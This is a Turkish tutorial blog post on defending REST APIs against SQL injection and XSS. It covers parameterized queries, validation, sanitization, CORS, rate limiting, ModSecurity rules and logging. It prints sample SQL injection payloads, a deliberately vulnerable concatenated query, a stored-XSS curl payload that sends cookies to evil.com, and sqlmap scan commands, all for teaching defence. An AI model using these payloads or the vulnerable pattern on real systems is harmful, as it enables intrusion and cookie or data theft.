SQL Injection ve XSS Saldırılarına Karşı REST API Güvenliğini Sağlama
Yıllar önce bir müşterimizin REST API’sinde basit bir SQL injection açığı yüzünden 50.000 kullanıcının kişisel verisi sızdı. Saldırgan tek bir HTTP isteğiyle tüm veritabanını dışarı çekti. O gün o şirkette nöbet tutmak zorunda kaldım ve sabaha kadar hasarı değerlendirdik. Bu deneyim bana bir şeyi çok net öğretti: API güvenliği, uygulama güvenliğinin en kritik halkasıdır ve çoğu zaman en ihmal edilenidir.
Bu yazıda SQL Injection ve XSS saldırılarının REST API ortamında nasıl çalıştığını, nasıl tespit edileceğini ve nasıl kapatılacağını gerçek dünya senaryolarıyla anlatacağım. Sadece teori değil, production ortamında uyguladığım pratik çözümler.
SQL Injection Nedir ve REST API’yi Nasıl Etkiler
SQL Injection, saldırganın uygulama üzerinden veritabanına doğrudan SQL komutları enjekte etmesidir. REST API’lerde bu durum genellikle query parametreleri, request body veya header değerleri üzerinden gerçekleşir.
Klasik web uygulamalarında SQL Injection genellikle form alanları üzerinden yapılır. Ancak API ortamında saldırı yüzeyi çok daha geniştir. Şu endpoint’i düşünün:
GET /api/v1/users?search=john&department=IT
Eğer backend bu parametreleri doğrudan SQL sorgusuna ekliyorsa, saldırgan şunu deneyebilir:
GET /api/v1/users?search=john'--&department=IT
# veya
GET /api/v1/users?search=john' OR '1'='1
# veya daha tehlikelisi:
GET /api/v1/users?search='; DROP TABLE users;--
Gerçek dünyada bir e-ticaret API’sinde şu tür bir açıkla karşılaştım. Sipariş sorgulama endpoint’i şuna benziyordu:
# Savunmasız Python/Flask örneği
# BU KODU PRODUCTION'DA KULLANMAYIN
query = "SELECT * FROM orders WHERE user_id = " + request.args.get('user_id')
cursor.execute(query)
Bu kod, bir saldırganın user_id=1 UNION SELECT username, password, NULL FROM users-- gibi bir payload göndererek tüm kullanıcı şifrelerini çekmesine olanak tanır.
SQL Injection’dan Korunma: Parameterized Queries
En temel ve en etkili çözüm, parametreli sorgulardır. Asla string birleştirme yapmamalısınız.
# Python/Flask ile güvenli SQL sorgusu
# psycopg2 kullanımı
import psycopg2
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/v1/users', methods=['GET'])
def get_users():
user_id = request.args.get('user_id')
# DOGRU YONTEM: Parameterized query
conn = psycopg2.connect(DATABASE_URL)
cursor = conn.cursor()
query = "SELECT id, name, email FROM users WHERE id = %s"
cursor.execute(query, (user_id,)) # Tuple olarak parametre gec
results = cursor.fetchall()
return jsonify(results)
Node.js tarafında da aynı prensip geçerlidir:
# Node.js / Express ile güvenli SQL sorgusu
# pg kütüphanesi kullanımı
const { Pool } = require('pg');
const pool = new Pool({ connectionString: process.env.DATABASE_URL });
app.get('/api/v1/products', async (req, res) => {
const { category, minPrice } = req.query;
// Parameterized query - $1, $2 placeholder kullan
const query = {
text: 'SELECT * FROM products WHERE category = $1 AND price >= $2',
values: [category, minPrice]
};
try {
const result = await pool.query(query);
res.json(result.rows);
} catch (err) {
// Hata detaylarini HICBIR ZAMAN client'a gonderme
console.error('DB Error:', err);
res.status(500).json({ error: 'Internal server error' });
}
});
Burada dikkat etmemiz gereken ikinci bir nokta var: hata mesajları. Veritabanı hata mesajlarını asla client’a döndürmeyin. “ERROR: column users.password does not exist” gibi bir mesaj, saldırgana veritabanı şemanız hakkında çok değerli bilgi verir.
ORM Kullanımında Dikkat Edilmesi Gerekenler
ORM kullanmak SQL Injection’a karşı koruma sağlar, ancak raw query kullanıyorsanız yine dikkatli olmanız gerekir:
# Django ORM - güvenli kullanım
# models.py
from django.db import models
from django.contrib.auth.models import User
class Order(models.Model):
user = models.ForeignKey(User, on_delete=models.CASCADE)
product_name = models.CharField(max_length=255)
total = models.DecimalField(max_digits=10, decimal_places=2)
# views.py - GUVENLI
def get_user_orders(request):
user_id = request.GET.get('user_id')
# ORM ile guvenli sorgulama
orders = Order.objects.filter(user_id=user_id).values('id', 'product_name', 'total')
return JsonResponse(list(orders), safe=False)
# TEHLIKELI - raw() ile string birlestirme yapma
# orders = Order.objects.raw(f"SELECT * FROM orders WHERE user_id = {user_id}")
# GUVENLI raw() kullanimi - parametre kullan
orders = Order.objects.raw("SELECT * FROM orders WHERE user_id = %s", [user_id])
Input Validation Middleware Yazmak
Parameterized queries’e ek olarak, input validation katmanı eklemek derinlemesine savunma stratejisinin önemli bir parçasıdır:
# Express.js için custom validation middleware
# express-validator kütüphanesi ile
const { query, body, validationResult } = require('express-validator');
// Kullanıcı arama endpoint'i için validation kuralları
const userSearchValidation = [
query('search')
.optional()
.isString()
.trim()
.escape() // HTML entity encoding
.isLength({ min: 1, max: 100 })
.matches(/^[a-zA-Z0-9s-_.@]+$/) // Sadece izin verilen karakterler
.withMessage('Geçersiz arama parametresi'),
query('page')
.optional()
.isInt({ min: 1, max: 1000 })
.withMessage('Sayfa numarası 1-1000 arasında olmalı'),
query('limit')
.optional()
.isInt({ min: 1, max: 100 })
.withMessage('Limit 1-100 arasında olmalı')
];
// Validation sonuçlarını kontrol eden middleware
const handleValidationErrors = (req, res, next) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({
error: 'Validation failed',
details: errors.array()
});
}
next();
};
// Route tanımı
app.get('/api/v1/users',
userSearchValidation,
handleValidationErrors,
getUsersHandler
);
XSS (Cross-Site Scripting) ve API Güvenliği
XSS denince akla hemen browser taraflı bir saldırı gelir. “API’de ne işi var?” diye sorabilirsiniz. Aslında modern mimarilerde API’ler XSS için birincil vektör haline gelmiştir. Şöyle düşünün: API’niz bir React veya Vue uygulamasına veri besliyorsa ve o veriyi doğrudan DOM’a yazıyorsa, API’den gelen kötü niyetli veri XSS’e yol açabilir.
Stored XSS senaryosu şu şekilde işler. Bir saldırgan API üzerinden şu içeriği veritabanına kaydettirir:
# Saldırganın POST isteği
curl -X POST https://api.ornek.com/v1/comments
-H "Content-Type: application/json"
-H "Authorization: Bearer <token>"
-d '{
"post_id": 42,
"content": "<script>fetch("https://evil.com/steal?c="+document.cookie)</script>"
}'
Bu içerik veritabanına kaydedilir. Başka bir kullanıcı yorumları getirdiğinde, frontend bunu innerHTML ile render ederse çerezler çalınır.
API Tarafında XSS Önleme
API katmanında XSS önlemenin birkaç boyutu var.
Input Sanitization: Gelen veriyi temizlemek.
# Node.js - DOMPurify ve sanitize-html kullanımı
# npm install sanitize-html
const sanitizeHtml = require('sanitize-html');
const sanitizeInput = (dirtyInput) => {
// Tamamen HTML'i strip et (API genellikle plain text bekler)
const cleanText = sanitizeHtml(dirtyInput, {
allowedTags: [], // Hic tag izin verme
allowedAttributes: {}
});
return cleanText;
};
// Yorum kaydetme endpoint'i
app.post('/api/v1/comments', async (req, res) => {
const { content, post_id } = req.body;
// Sanitize et
const cleanContent = sanitizeInput(content);
// Maksimum uzunluk kontrolu
if (cleanContent.length > 2000) {
return res.status(400).json({ error: 'Yorum çok uzun' });
}
// Temizlenmis veriyi kaydet
const result = await db.query(
'INSERT INTO comments (post_id, content) VALUES ($1, $2) RETURNING *',
[post_id, cleanContent]
);
res.status(201).json(result.rows[0]);
});
Content-Type ve Response Header’ları: API’nizin doğru Content-Type döndürdüğünden emin olun:
# Nginx konfigürasyonu - Güvenlik header'ları
server {
listen 443 ssl;
server_name api.ornek.com;
# API responses icin security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "default-src 'none'" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# API response'larinda Content-Type zorunlu hale getir
location /api/ {
proxy_pass http://backend:3000;
proxy_set_header Host $host;
# JSON API icin ek guvence
add_header Content-Type "application/json; charset=utf-8" always;
}
}
CORS Konfigürasyonu ve Güvenliği
CORS yanlış yapılandırıldığında XSS saldırılarının etkisini dramatik biçimde artırır. Birçok sysadmin Access-Control-Allow-Origin: * koyup geçiyor, bu büyük bir hata:
# Express.js - Production-ready CORS konfigürasyonu
const cors = require('cors');
// İzin verilen origin listesi
const allowedOrigins = [
'https://app.ornek.com',
'https://admin.ornek.com',
'https://mobile.ornek.com'
];
const corsOptions = {
origin: (origin, callback) => {
// Origin yoksa (curl, Postman gibi araçlar) - production'da reddet
if (!origin && process.env.NODE_ENV === 'production') {
return callback(new Error('Origin required in production'));
}
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error(`CORS policy: ${origin} not allowed`));
}
},
methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-Request-ID'],
exposedHeaders: ['X-Total-Count', 'X-Request-ID'],
credentials: true, // Cookie/Auth header'ları icin
maxAge: 86400 // Preflight cache suresi (1 gun)
};
app.use('/api/', cors(corsOptions));
Rate Limiting ile Brute Force ve Injection Tarama Engelleme
Saldırganlar genellikle otomatik araçlarla yüzlerce farklı payload denerler. Rate limiting bu taramaları engellemek için kritik öneme sahiptir:
# Express.js - Gelismis rate limiting
# npm install express-rate-limit
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const redis = require('redis');
const redisClient = redis.createClient({ url: process.env.REDIS_URL });
// Genel API rate limit
const generalLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 dakika
max: 100, // 100 istek
standardHeaders: true,
legacyHeaders: false,
store: new RedisStore({
sendCommand: (...args) => redisClient.sendCommand(args),
}),
handler: (req, res) => {
res.status(429).json({
error: 'Too many requests',
retryAfter: Math.ceil(req.rateLimit.resetTime / 1000)
});
}
});
// Auth endpoint'leri icin daha katı limit
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 10, // 15 dakikada sadece 10 deneme
skipSuccessfulRequests: true, // Basarili istekleri sayma
keyGenerator: (req) => {
// IP + username kombinasyonu ile daha akilli limiting
return `${req.ip}_${req.body?.username || 'unknown'}`;
}
});
app.use('/api/', generalLimiter);
app.use('/api/auth/login', authLimiter);
app.use('/api/auth/reset-password', authLimiter);
WAF Entegrasyonu: ModSecurity ile Nginx
Uygulama katmanında aldığınız önlemlere ek olarak, WAF (Web Application Firewall) kullanmak savunmayı derinleştirir. ModSecurity ile Nginx entegrasyonu production ortamında çok işe yarar:
# /etc/nginx/modsecurity/modsecurity.conf
# Temel ModSecurity konfigürasyonu
SecRuleEngine On
SecRequestBodyAccess On
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072
# OWASP CRS (Core Rule Set) yukle
Include /usr/share/modsecurity-crs/crs-setup.conf
Include /usr/share/modsecurity-crs/rules/*.conf
# SQL Injection icin ozel kural
SecRule ARGS "@detectSQLi"
"id:9001,
phase:2,
block,
log,
msg:'SQL Injection Tespit Edildi',
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',
tag:'API-SECURITY',
severity:'CRITICAL'"
# XSS icin ozel kural
SecRule ARGS "@detectXSS"
"id:9002,
phase:2,
block,
log,
msg:'XSS Tespit Edildi',
tag:'API-SECURITY',
severity:'HIGH'"
# /etc/nginx/nginx.conf - ModSecurity'yi aktif et
http {
modsecurity on;
modsecurity_rules_file /etc/nginx/modsecurity/modsecurity.conf;
server {
listen 443 ssl;
server_name api.ornek.com;
location /api/ {
modsecurity on;
proxy_pass http://backend:3000;
}
}
}
API Güvenlik Testleri: Kendi Sisteminizi Test Edin
Production’a almadan önce güvenlik testlerini kendiniz yapmalısınız. SQLMap ve OWASP ZAP bu iş için kullanabileceğiniz temel araçlardır:
# SQLMap ile API endpoint testi
# Sadece kendi sistemlerinizde kullanın!
# GET parametresi testi
sqlmap -u "https://api.ornek.com/v1/users?id=1"
--headers="Authorization: Bearer YOUR_TOKEN"
--level=2
--risk=1
--batch
--output-dir=/tmp/sqlmap-results
# POST body testi
sqlmap -u "https://api.ornek.com/v1/search"
--method POST
--data='{"query":"test","category":"books"}'
--headers="Content-Type: application/json"
--headers="Authorization: Bearer YOUR_TOKEN"
--level=2
--batch
# JSON body içindeki her parametreyi test et
sqlmap -u "https://api.ornek.com/v1/products"
--method POST
--data='{"name":"*","price":100}'
--headers="Content-Type: application/json"
-p name
--dbms=postgresql
Bu testleri CI/CD pipeline’ınıza entegre etmek, her deployment öncesi otomatik güvenlik taraması yapmanızı sağlar.
Loglama ve Monitoring
Saldırı girişimlerini tespit etmek ve müdahale edebilmek için doğru loglama şarttır:
# Node.js - Güvenlik olayı loglama
# winston ve morgan kullanımı
const winston = require('winston');
const securityLogger = winston.createLogger({
level: 'info',
format: winston.format.combine(
winston.format.timestamp(),
winston.format.json()
),
transports: [
new winston.transports.File({
filename: '/var/log/api/security.log',
level: 'warn'
})
]
});
// Şüpheli pattern tespiti için middleware
const suspiciousPatterns = [
/(%27)|(')|(--)|(%23)|(#)/i, // SQL Injection
/((%3C)|<)((%2F)|/)*[a-z0-9%]+((%3E)|>)/i, // XSS
/((%3C)|<)((%69)|i|(%49))((%6D)|m|(%4D))/i, // img tag
/union.*select/i, // UNION SELECT
/exec(s|+)+(s|x)pw+/i // Stored procedure
];
const detectSuspiciousActivity = (req, res, next) => {
const checkString = JSON.stringify({
query: req.query,
body: req.body,
params: req.params
});
const isSuspicious = suspiciousPatterns.some(pattern =>
pattern.test(checkString)
);
if (isSuspicious) {
securityLogger.warn({
event: 'SUSPICIOUS_REQUEST',
ip: req.ip,
method: req.method,
url: req.originalUrl,
userAgent: req.headers['user-agent'],
userId: req.user?.id || 'anonymous',
timestamp: new Date().toISOString()
});
// Rate limit veya block kararı burada verilebilir
// Simdilik sadece logla, bloklama WAF katmanında yapilsin
}
next();
};
app.use('/api/', detectSuspiciousActivity);
Checklist: Production API Güvenlik Kontrol Listesi
Bu noktada, bir API’yi production’a almadan önce kontrol etmeniz gereken maddeleri listeleyelim:
- Parameterized queries: Tüm veritabanı sorgularında string birleştirme yerine parametreli sorgular kullanılıyor mu?
- Input validation: Tüm endpoint’lerde gelen veriler tip, uzunluk ve format açısından doğrulanıyor mu?
- Output encoding: API yanıtlarında özel karakterler encode ediliyor mu?
- Error handling: Veritabanı ve sistem hata mesajları client’a dönülüyor mu?
- CORS konfigürasyonu: Wildcard origin (
*) production’da kapatılmış mı? - Security headers: X-Content-Type-Options, X-Frame-Options ve diğer güvenlik header’ları set edilmiş mi?
- Rate limiting: Auth ve kritik endpoint’lerde rate limiting aktif mi?
- WAF: ModSecurity veya benzeri bir WAF çözümü devrede mi?
- Dependency güncelleme: npm audit, pip-audit gibi araçlarla bağımlılıklar taranıyor mu?
- Loglama: Güvenlik olayları loglanıyor ve izleniyor mu?
- Güvenlik testi: SQLMap ve OWASP ZAP ile düzenli penetrasyon testleri yapılıyor mu?
- Secrets yönetimi: Veritabanı parolaları ve API anahtarları environment variable veya vault üzerinden mi geliyor?
Sonuç
SQL Injection ve XSS, OWASP Top 10’da yıllardır üst sıralarda yer alıyor. Bunların hâlâ bu kadar yaygın olmasının sebebi teknik çözümlerin yokluğu değil, geliştirici ve sistem yöneticisi farkındalığının yetersizliğidir.
Yazının başında anlattığım veri sızıntısı vakasında kullanılan teknik, 2003’ten beri bilinen klasik bir SQL Injection’dı. Şirketin o açığı kapatmak için harcadığı zaman 15 dakikaydı. Ama müşteri güvenini yeniden kazanmak aylar aldı, hukuki süreç yıllarca devam etti.
Savunma stratejinizi şu üç katmanlı yapı üzerine kurun:
- Kod katmanı: Parameterized queries, input validation, output encoding
- Altyapı katmanı: WAF, rate limiting, güvenlik header’ları
- İzleme katmanı: Güvenlik loglama, anomali tespiti, düzenli güvenlik testleri
Bu üç katmanı doğru kurduğunuzda, SQL Injection ve XSS gibi yaygın saldırıların büyük çoğunluğunu proaktif olarak engellemiş olursunuz. Güvenlik tek seferlik bir görev değil, sürekli bir süreçtir. Dependency güncellemelerinizi takip edin, düzenli pentest yapın ve ekibinizin güvenlik farkındalığını canlı tutun.
